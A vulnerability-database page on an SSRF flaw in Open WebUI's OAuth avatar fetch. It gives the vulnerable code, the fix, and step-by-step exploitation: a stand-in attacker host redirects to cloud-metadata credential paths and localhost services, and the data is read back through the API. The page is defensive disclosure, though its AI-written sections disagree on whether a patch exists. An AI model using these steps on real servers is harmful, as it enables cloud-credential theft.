Skip to main content

Open WebUI EUVDEUVD-2026-38534

| CVE-2026-54008 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-06-17 https://github.com/open-webui/open-webui GHSA-226f-f24g-524w
8.5
CVSS 3.1 · Vendor: https://github.com/open-webui/open-webui
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Register identity on configured OAuth IdP
  2. Delivery
    Host public 302-redirect endpoint pointing at internal target
  3. Exploit
    Set IdP picture claim to attacker redirect URL
  4. Install
    Initiate OAuth login to Open WebUI
  5. C2
    Backend follows redirect server-side without revalidation
  6. Execute
    Internal response body base64-stored in profile_image_url
  7. Impact
    Read /api/v1/auths/ and decode internal data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires (1) Open WebUI <= 0.9.5 deployed with either ENABLE_OAUTH_SIGNUP=true or OAUTH_UPDATE_PICTURE_ON_LOGIN=true (both common in OAuth-IdP production deployments), (2) a configured OAuth/OIDC IdP on which the attacker can hold or register an identity and control the picture claim - Google, Microsoft, GitHub, or any generic OIDC provider satisfies this, (3) an attacker-controlled HTTP endpoint on a public IP that returns an HTTP 3xx with a Location header pointing at the desired internal target, and (4) the Open WebUI backend having network reachability to the targeted internal address (loopback, RFC1918, or cloud-metadata IP). Exploitation is LIMITED by: the IdP must permit attacker-controlled picture claims (most public IdPs do via profile photo URLs); deployments using only enterprise IdPs with strict identity provisioning and no self-signup raise the bar; and the read-back primitive depends on GET /api/v1/auths/ returning profile_image_url, which is the default API surface.

Impact

The vendor-supplied CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N (8.5 High) is consistent with the technical facts: network-reachable endpoint, low complexity, scope change from the web app into adjacent internal services, and high confidentiality impact via the read-back primitive. EPSS data was not supplied, and the CVE is not on CISA KEV, so there is no evidence of mass exploitation. However, a fully working, sentinel-verified PoC chain is documented (Docker-compose harness, IdP, redirect server, internal canary), meaning weaponization cost is effectively zero for any attacker willing to register on the configured IdP. Real-world risk is materially elevated wherever ENABLE_OAUTH_SIGNUP=true or OAUTH_UPDATE_PICTURE_ON_LOGIN=true is combined with a public OAuth provider (Google, Microsoft, GitHub) - those deployments should treat this as a high-priority issue because the attacker can self-onboard. The PR:L rating is honest: any free IdP account meets it.

Exploit ScenarioDerived

An attacker registers a free identity on the target's configured OAuth IdP (e.g., Google), points the IdP picture claim at http://attacker.example/r, and signs in to Open WebUI; the backend fetches the public URL, follows the attacker's 302 redirect to http://169.254.169.254/latest/meta-data/iam/security-credentials/, and stores the base64-encoded IMDS response in the attacker's profile_image_url. The attacker then calls GET /api/v1/auths/, base64-decodes the field, and recovers AWS IAM credentials or any localhost-bound service response (Ollama on :11434, Redis, Postgres exporters). A complete sentinel-verified PoC against the v0.9.5 container is documented in the advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 18, 2026

Server-side request forgery in Open WebUI versions 0.9.5 and earlier allows authenticated OAuth users to read arbitrary internal HTTP responses by abusing the _process_picture_url function in backend/open_webui/utils/oauth.py, which validates only the initial URL and then permits aiohttp's default 10-redirect follow chain to reach internal addresses. The decoded response body is stored in the attacker's profile_image_url and retrievable via GET /api/v1/auths/, yielding cloud metadata credentials and access to localhost-bound services. Publicly available exploit code exists (detailed sentinel-verified PoC supplied by the reporter); no public exploit identified at time of analysis in the form of weaponized tooling, and the CVE is not on the CISA KEV list.

RemediationAI

Vendor-released patch: upgrade open-webui to version 0.9.6 or later (pip/PyPI and the corresponding ghcr.io/open-webui/open-webui image tag), per advisory GHSA-226f-f24g-524w at https://github.com/open-webui/open-webui/security/advisories/GHSA-226f-f24g-524w. If immediate upgrade is not possible, set ENABLE_OAUTH_SIGNUP=false to block attacker self-onboarding and OAUTH_UPDATE_PICTURE_ON_LOGIN=false to stop the picture-update code path from firing on existing-user login - the trade-off is that new OAuth-only signups must be provisioned manually and existing users will not see refreshed avatars. As a network-layer compensating control, place the Open WebUI backend behind an egress proxy that blocks outbound HTTP to RFC1918, loopback, link-local (169.254.0.0/16 including 169.254.169.254), and cloud-metadata FQDNs such as metadata.google.internal; the side effect is that legitimate avatar URLs hosted on internal CDNs will also fail. The reporter also documents a code-level workaround: patch _process_picture_url to pass allow_redirects=AIOHTTP_CLIENT_ALLOW_REDIRECTS or wrap the call in a manual-follow loop that re-runs validate_url() on every Location header.

Affected VersionsENISA

open-webui < 0.9.6

Affected Packages

pypi open-webui fix: 0.9.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-918 Server-Side Request Forgery manifesting as an incomplete-fix sibling of CVE-2026-45401. Open WebUI uses Python's aiohttp library, whose ClientSession.get() defaults to allow_redirects=True with max_redirects=10. The project introduced an AIOHTTP_CLIENT_ALLOW_REDIRECTS env constant and applied it to five fetch sinks in retrieval/web/utils.py, but the OAuth profile-picture sink at utils/oauth.py:1435-1470 was missed: it calls validate_url() on the initial URL only, then issues session.get(picture_url, ssl=AIOHTTP_CLIENT_SESSION_SSL) with no allow_redirects=False and no per-hop revalidation. Because validate_url treats public hosts as safe (is_global=True), an attacker-controlled HTTP 302 to an RFC1918 address, 127.0.0.1, or cloud-metadata endpoints such as 169.254.169.254 is followed server-side. CPE pkg:pip/open-webui confirms the affected distribution is the Python package shipped via PyPI and the ghcr.io/open-webui/open-webui container image.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/open-webui/open-webui) PRIMARY 8.5 HIGH
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
vuln.today AI 8.5 HIGH

Network reachable OAuth login flow, no UI, requires any IdP identity (PR:L); SSRF reaches systems beyond auth boundary (S:C); high read of internal data (C:H), limited integrity from stored profile field (I:L).

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N

Primary rating from Vendor (https://github.com/open-webui/open-webui).

CVSS VectorVendor: https://github.com/open-webui/open-webui

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

backend/open_webui/utils/oauth.py::_process_picture_url (v0.9.5, lines 1435-1470) calls validate_url(picture_url) on the initial URL only, then invokes aiohttp.ClientSession.get(picture_url, ...) without allow_redirects=False. aiohttp's default is allow_redirects=True, max_redirects=10; the function does not pass the project's AIOHTTP_CLIENT_ALLOW_REDIRECTS env constant either. An attacker with a valid OAuth IdP identity can therefore submit a public URL that 302-redirects to an internal address and read the internal response body via the attacker's own profile_image_url field.

This is the same redirect-bypass class as CVE-2026-45401 (GHSA-rh5x-h6pp-cjj6), on a 6th call site that the v0.9.5 patch missed. CVE-2026-45401's advisory body enumerates exactly five affected paths — SafeWebBaseLoader._scrape, _fetch, get_content_from_url, load_url_image, get_image_base64_from_url — none in utils/oauth.py.

Vulnerable code (v0.9.5)

backend/open_webui/utils/oauth.py, lines 1435-1470:

python
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
    if not picture_url:
        return '/user.png'
    try:
        validate_url(picture_url)
# initial URL only

        get_kwargs = {}
        if access_token:
            get_kwargs['headers'] = {'Authorization': f'Bearer {access_token}'}
        async with aiohttp.ClientSession(trust_env=True) as session:
            async with session.get(picture_url, **get_kwargs,
                                   ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
#                       ^^^^^^^^^^^ no allow_redirects=False
                if resp.ok:
                    picture = await resp.read()
                    base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
                    guessed_mime_type = mimetypes.guess_type(picture_url)[0]
                    if guessed_mime_type is None:
                        guessed_mime_type = 'image/jpeg'
                    return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'
                ...

The function is invoked at oauth.py:1556 (new-user OAuth signup) and oauth.py:1536 (existing-user picture update on login). Neither call site re-validates after redirect-following.

backend/open_webui/retrieval/web/utils.py (v0.9.5) imports the env constant AIOHTTP_CLIENT_ALLOW_REDIRECTS at line 51 and uses it on the five paths patched by CVE-2026-45401. utils/oauth.py does not import or reference it.

Exploitation

Preconditions:

  • ENABLE_OAUTH_SIGNUP=true or OAUTH_UPDATE_PICTURE_ON_LOGIN=true (common in production OAuth-IdP deployments)
  • Attacker has a valid identity on the configured OAuth IdP (Google, Microsoft, GitHub, or any generic OIDC provider)

Steps:

  1. Attacker hosts a redirect endpoint at http://attacker.example/r on a public IP. validate_url("http://attacker.example/r") returns True (is_global=True for public IPs).
  2. Attacker sets their IdP picture claim to http://attacker.example/r.
  3. Attacker signs in to open-webui via OAuth. open-webui invokes _process_picture_url("http://attacker.example/r", ...).
  4. validate_url accepts the public URL. session.get("http://attacker.example/r") is invoked.
  5. attacker.example responds HTTP/1.1 302 Found\r\nLocation: http://127.0.0.1:11434/api/tags. (Or http://169.254.169.254/latest/meta-data/iam/security-credentials/, RFC1918 internal services, etc.)
  6. aiohttp follows the redirect server-side. No re-validation.
  7. The internal response body is read into picture, base64-encoded, and stored as profile_image_url = "data:image/jpeg;base64,..." on the attacker's account.
  8. Attacker reads back via GET /api/v1/auths/. Decode the base64 payload to get the full internal response body.

Impact

Full-read SSRF, identical read-back primitive to CVE-2026-45338:

  • Cloud metadata services (AWS IMDSv1 at 169.254.169.254, GCP metadata.google.internal, Azure IMDS) → IAM credentials, managed-identity tokens
  • Localhost-bound services (Ollama at :11434, Redis, Elasticsearch, internal Postgres exporters)
  • RFC1918 internal infrastructure not exposed to the internet

Distinction from prior CVEs

Prior CVEThis findingDistinguishing fact
CVE-2026-45338 (GHSA-24c9)_process_picture_url had no validate_url() call at allFixed in v0.9.0 by adding the call. Ours is the call being insufficient because it doesn't loop over redirect targets. Different mechanism, different fix.
CVE-2026-45400 (GHSA-8w7q)validate_url() had urlparse-vs-requests parser disagreement on \@ charsFixed in v0.9.5 by char-blocklist. Ours is post-validation redirect-following — orthogonal mechanism.
CVE-2026-45401 (GHSA-rh5x)Five paths in retrieval, routers/images, utils/files, utils/middlewareParent class. Same CWE-918 redirect-bypass mechanism. utils/oauth.py::_process_picture_url is not among the five paths in the parent advisory's "Affected code paths" section. Same class, missed sink. Direct sibling.

Suggested fix

python
async with session.get(
    picture_url,
    **get_kwargs,
    ssl=AIOHTTP_CLIENT_SESSION_SSL,
    allow_redirects=AIOHTTP_CLIENT_ALLOW_REDIRECTS,
# add
) as resp:

Or, if redirects must remain enabled by default, wrap in a manual-follow loop that re-invokes validate_url() on each Location header. This mirrors the fix shape applied to the five paths in CVE-2026-45401.

Affected versions

Vulnerable: <= 0.9.5 Fix: 0.9.6

References

  • CVE-2026-45401 / GHSA-rh5x-h6pp-cjj6 (parent cluster, redirect-bypass on 5 paths)
  • CVE-2026-45338 / GHSA-24c9-2m8q-qhmh (original _process_picture_url SSRF, patched v0.9.0)
  • CVE-2026-45400 / GHSA-8w7q-q5jp-jvgx (validate_url parser-disagreement bypass, patched v0.9.5)
  • open-webui issue #24560 (corroborates that the v0.9.5 redirect-fix was applied piecemeal across call sites)

Proof of Concept

End-to-end PoC executed against ghcr.io/open-webui/open-webui:v0.9.5 in Docker compose. Three services: attacker (OIDC IdP + 302-redirect endpoint on evil.example.com:9001/redirect), canary (internal target on internal-target.local:9002/sentinel), open-webui v0.9.5.

Fresh-CSPRNG sentinel generated after OAuth state-establishing call (per Gate 5.5 oracle protocol): SSRF-POC-5580111b2a0d7d0c8324bfa92a0d9d09.

Result:

  • profile_image_url field after OAuth login: data:image/jpeg;base64,U1NSRi1QT0MtNTU4MDExMWIyYTBkN2QwYzgzMjRiZmE5MmEwZDlkMDk=
  • Base64 decode: SSRF-POC-5580111b2a0d7d0c8324bfa92a0d9d09 (byte-for-byte sentinel match)
  • Canary log: !!! SSRF HIT - sentinel served

Chain confirmed: OAuth login → IdP returns picture claim evil.example.com:9001/redirect → validate_url() accepts FQDN → aiohttp.ClientSession.get(...) follows 302 to internal-target.local:9002/sentinel server-side without re-validation → response body base64-encoded into attacker's profile_image_url → readable via GET /api/v1/auths/.

PoC artifacts (compose, attacker server, canary, run/verify scripts, full transcript) available on request.

Reporter

Matteo Panzeri — GitHub: matte1782, contact: matteo1782@gmail.com. Requesting CVE credit as Matteo Panzeri.

Executive ViewAI

Why It Matters

Open WebUI versions 0.9.5 and earlier contain a server-side request forgery vulnerability allowing authenticated OAuth users to access internal services and retrieve cloud credentials through profile image URL functionality. Publicly available exploit code exists for this vulnerability, creating immediate operational risk to organizations deploying Open WebUI. No vendor patch is currently available.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable or restrict OAuth authentication until patch released; (2) Implement network egress filtering to block access to internal services and cloud metadata endpoints (e.g., 169.254.169.254); (3) Isolate Open WebUI instances to restricted, monitored network segments; (4) Enable comprehensive audit logging for GET /api/v1/auths/ requests and profile_image_url modifications; (5) Inventory and rotate any AWS/cloud credentials accessible through internal metadata services.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy